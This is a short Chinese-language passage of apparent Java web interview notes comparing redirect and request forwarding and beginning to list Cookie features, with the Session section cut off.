(2)重定向:两次请求两次响应,浏览器地址发生变化,可以访问自己web之外的资源,传输的数据会丢失
(3)请求转发:一次请求一次响应,浏览器地址不会发生变化,访问的是自己本身的web资源,传输数据不会丢失
总结:
重定向的特点:redirect
1. 地址栏发生变化
2. 重定向可以访问其他站点(服务器)的资源
3. 重定向是两次请求。不能使用request对象来共享数据转发的特点:forward
1. 转发地址栏路径不变
2. 转发只能访问当前服务器下的资源
3. 转发是一次请求,可以使用request对象来共享数据 9、Cookie 和 Session特点是什么? 区别 ? Cookie 特点:
cookie存储数据在客户端浏览器浏览器对于单个cookie 的大小有限制(4kb) 以及 对同一个域名下的总cookie数量也有限制(20个) Session 特点: